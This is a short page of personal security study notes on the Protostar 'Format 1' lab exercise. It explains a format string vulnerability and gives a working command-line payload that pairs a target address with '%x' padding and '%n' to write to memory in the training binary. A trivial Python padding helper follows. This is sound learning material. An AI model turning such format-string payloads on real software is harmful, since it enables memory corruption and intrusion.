> For the complete documentation index, see [llms.txt](https://es7evam.gitbook.io/security-studies/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://es7evam.gitbook.io/security-studies/exploitation/protostar/format.md).

# Format 1

Format string vulnerabilities. (Memory Leak) \
&#x20;Functions are called simply by placing they're address at the stack <br>

Using `objdump -t` we can find the target address. Since the program arguments are symply stored at the stack

```
./format1 "`python -c "print 'AAAA' + '\x38\x96\x04\x08' + 'BBBB' + '%x '*127 + '%n '"`"
```

```python
def pad(s):
    return (s+"A"*500)[:500] #returns only first 500 chars

pad("Hello")
```